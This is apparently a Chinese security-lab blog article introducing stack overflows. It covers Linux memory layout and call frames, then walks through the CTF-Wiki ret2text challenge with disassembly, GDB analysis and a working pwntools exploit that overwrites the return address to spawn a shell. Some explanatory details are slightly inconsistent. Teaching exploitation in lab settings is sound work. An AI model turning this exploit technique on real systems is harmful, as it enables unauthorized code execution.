点击上方「蓝字」,关注我们
本公众号将会开启二进制类的专题,这是该专题的第一篇文章。由于对二进制安全的学习必须了解计算机的硬件基础和操作系统的相关知识,因此本篇文章将会先介绍一些基础的内容并用一个例子来简单说明栈溢出的产生和构造攻击代码。
Linux内存布局
无论是32位和64位的操作系统,想找到栈溢出漏洞,还是需要熟悉内存的布局。
Linux采用虚拟内存来管理进程的内存。虚拟内存大小为4G,内核在管理的时候又将其划分为“内核空间”和“用户空间”。“内核空间”总大小为1G,用于存放内核相关的代码和数据,这些内容是被各个用户程序所共享的。其余3G则给“用户空间”的程序存放代码和数据。
在Linux上运行的程序都拥有一个属于自己的虚拟内存,这些虚拟内存通过页表映射到物理内存上。当程序被装载运行后,其虚拟内存格式如下:
●程序段(.text):程序代码在内存中的映射,存放函数体的二进制代码
●初始化过的数据段(.data):在程序运行初已经对变量进行初始化的数据。
●未初始化过的数据段(.bss):在程序运行初未对变量进行初始化的数据
●栈(Stack):用于存储程序运行时产生的局部变量、临时变量数据或用于保存函数调用时保存的现场变量等等。其申请和释放都由操作系统自动完成。由于栈上的数据在结束时就被释放,所以无法将其传递到函数外部。其增长方向是从高到低。在32位系统中,堆栈的空间是由栈底指针EBP和栈顶指针ESP一起指出的一块空间。EBP指针指向栈的底部,固定不动,ESP指向栈顶,当栈空间增长时,EBP减小。
●堆(Heap):堆是一块非常大的内存空间,在这个空间里程序可以随时申请随时释放,只要没有手动释放或程序结束,这些数据变一直有效。堆可以弥补栈无法将数据传递到函数外部。其申请和释放分别由malloc和free两个函数来完成
Linux下用GDB来查看运行的程序的内存如下所示。
函数调用
现在用一个程序的汇编来看函数调用时具体会有哪些操作。
int func(int param1 ,int param2,int param3)
{
int var1 = param1+param2+param3;
return var1;
}
int main(int argc, char* argv[])
{
int result = func(1,2,3);
printf("Result = %i", result);
return 0;
}
先对源码进行编译后,再反汇编。找到main函数部分。
左右两部分色块相同的表示对应的汇编代码。本次重点关注fun()函数的调用。
从土黄色色块可以看到,func有三个传入的参数分别是1,2,3。在汇编代码中入栈的顺序是3,2,1,即从右往左的顺序将参数入栈(push指令是将后面的参数压入栈中,并让esp-1)。然后用call指令跳转到func指令中,在call的时候也保存了返回地址(即当前执行到的代码段地址)。
而后再来关注func函数部分。
在浅绿色部分,程序首先将main函数的ebp指针保存到esp当前的位置并让,为的是之后能够成功恢复main函数的栈底。然后将当前的esp所指的地址作为func函数的栈栈底,然后再保存ecx到栈中。在经过黄色部分的。
当程序执行完所需要的程序后到达浅紫色的地方,该部分是将计算出的结果通过EAX寄存器回传给main函数。接下来的红色部分是为了清理func函数所用的栈。首先将栈底指针所指的地址值赋值给ESP,然后把之前保存的main函数的栈底恢复回来,最后ret指令将保存的返回地址还给EIP指针。
自此,用如下图能大致总结上面的栈空间排布情况。
栈溢出初探
就上述的内存排布情况,若此时func函数中用gets函数来获取输入的字符串,并将其保存在长度为12的字符数组中。此时就会产生安全隐患。
int func()
{
char buf[12];
gets(buf);
printf("%s",buf);
}
int main(int argc, char* argv[])
{
printf("This is test process.nNow, you input something and it will print what you input.nInput:>");
func();
return 0;
}
此时使用的gets()没有对输入的长度进行限制,若输入的字符超过12个字节,就会导致内存其他数据遭到覆盖,导致程序执行流程遭到破坏。
用GDB进行调试,可以看到当输入长度为30个字符的字符串
“aaaabaaacaaadaaaeaaafaaagaaaha”,其内存数据已经遭到了破坏。
此时EBP下方的返回地址也被覆盖了两位。
更进一步思考,如果此时将原本的返回地址填入我们想要的地址,当函数返回的时候,程序便跳转去执行我们想要执行的步骤了。
我们使用CTF-WIKI里面的ret2text来说明。此时的程序反编译后大概有两个需要注意的地方:
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("/bin/sh");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("There is something amazing here, do you know anything?n");
gets(buf);
printf("Maybe I will tell you next time !");
return 0;
}
第一处是有个名称是secure的函数,函数中会产生一个任意值并让我们猜测。如果猜测正确则会执行系统shell。
第二处是main函数中有个长度为100的字符串,并且用gets()来获取用户输入。但是并没有调用secure()。
将二进制文件反编译,得到如下的两个函数汇编:
080485fd <secure>:
80485fd: 55 push ebp
80485fe: 89 e5 mov ebp,esp
8048600: 83 ec 28 sub esp,0x28
8048603: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
804860a: e8 61 fe ff ff call 8048470 <time@plt>
804860f: 89 04 24 mov DWORD PTR [esp],eax
8048612: e8 99 fe ff ff call 80484b0 <srand@plt>
8048617: e8 c4 fe ff ff call 80484e0 <rand@plt>
804861c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
804861f: 8d 45 f0 lea eax,[ebp-0x10]
8048622: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048626: c7 04 24 60 87 04 08 mov DWORD PTR [esp],0x8048760
804862d: e8 be fe ff ff call 80484f0 <__isoc99_scanf@plt>
8048632: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10]
8048635: 3b 45 f4 cmp eax,DWORD PTR [ebp-0xc]
8048638: 75 0c jne 8048646 <secure+0x49>
804863a: c7 04 24 63 87 04 08 mov DWORD PTR [esp],0x8048763
8048641: e8 4a fe ff ff call 8048490 <system@plt>
8048646: c9 leave
8048647: c3 ret
08048648 <main>:
8048648: 55 push ebp
8048649: 89 e5 mov ebp,esp
804864b: 83 e4 f0 and esp,0xfffffff0
804864e: 83 c4 80 add esp,0xffffff80
8048651: a1 60 a0 04 08 mov eax,ds:0x804a060
8048656: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
804865d: 00
804865e: c7 44 24 08 02 00 00 mov DWORD PTR [esp+0x8],0x2
8048665: 00
8048666: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
804866d: 00
804866e: 89 04 24 mov DWORD PTR [esp],eax
8048671: e8 5a fe ff ff call 80484d0 <setvbuf@plt>
8048676: a1 40 a0 04 08 mov eax,ds:0x804a040
804867b: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
8048682: 00
8048683: c7 44 24 08 01 00 00 mov DWORD PTR [esp+0x8],0x1
804868a: 00
804868b: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
8048692: 00
8048693: 89 04 24 mov DWORD PTR [esp],eax
8048696: e8 35 fe ff ff call 80484d0 <setvbuf@plt>
804869b: c7 04 24 6c 87 04 08 mov DWORD PTR [esp],0x804876c
80486a2: e8 d9 fd ff ff call 8048480 <puts@plt>
80486a7: 8d 44 24 1c lea eax,[esp+0x1c]
80486ab: 89 04 24 mov DWORD PTR [esp],eax
80486ae: e8 ad fd ff ff call 8048460 <gets@plt>
80486b3: c7 04 24 a4 87 04 08 mov DWORD PTR [esp],0x80487a4
80486ba: e8 91 fd ff ff call 8048450 <printf@plt>
80486bf: b8 00 00 00 00 mov eax,0x0
80486c4: c9 leave
80486c5: c3 ret
80486c6: 66 90 xchg ax,ax
80486c8: 66 90 xchg ax,ax
80486ca: 66 90 xchg ax,ax
80486cc: 66 90 xchg ax,ax
80486ce: 66 90 xchg ax,ax
当输入长度为160个字符的时候程序crash。用GDB进行分析,可以直观看出程序crash的原因是因为EIP地址被修改成我们输入的字符串,而EIP将这些字符串的hex值作为地址去访问,导致访问权限报错。
此时如果将0x62616164变成执行shell的那段函数地址,便可以获取shell。
从上面的汇编代码中找到
8048641: e8 4a fe ff ff call 8048490 <system@plt>
其作用是调用system()函数,但是直接跳转到这里是行不通的,因为没有传入参数。往上的一行
804863a: c7 04 24 63 87 04 08 mov DWORD PTR [esp],0x8048763
是将地址0x8048763处的值移到ESP所致指向的内存中。而该地址是/bin/sh字符串所在的地址。
所以将EIP指向0x8048763,程序便可以开个shell来执行用户输入的系统指令。
上述的攻击代码(EXP)可以写成如下形式,所用到的第三方库为pwntools。
#!/usr/bin/env python
# coding:utf-8
from pwn import *
# process()可以打开所指定的程序
sh = process('./ret2text')
# 0x8048763就是我们想要执行system的起始之处
target = 0x804863a
# 填充垃圾字符,当其长度超过112便可影响到返回地址,进而控制EIP
# sendline用于送出payload,同时会在末尾增加一个换行符
sh.sendline('A' * (0x6c + 4) + p32(target))
# 创建一个交互式控制台
sh.interactive()
p32()是将传入的内容用32位的方式进行打包,也就是数值转换。未对pwntools的架构进行指定时,其默认为小端架构。
当传入0xdeadbeef后会被转换成xefxbexadxde。
当EXP被执行后便获取到系统的shell。
余下的更深入的攻击手段将会在之后的文章中体现。
end
刑天攻防实验室
扫描右侧二维码关注我们
点个「在看」,你最好看
原文始发于微信公众号(刑天攻防实验室):二进制系列——基础知识与简单的栈溢出
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论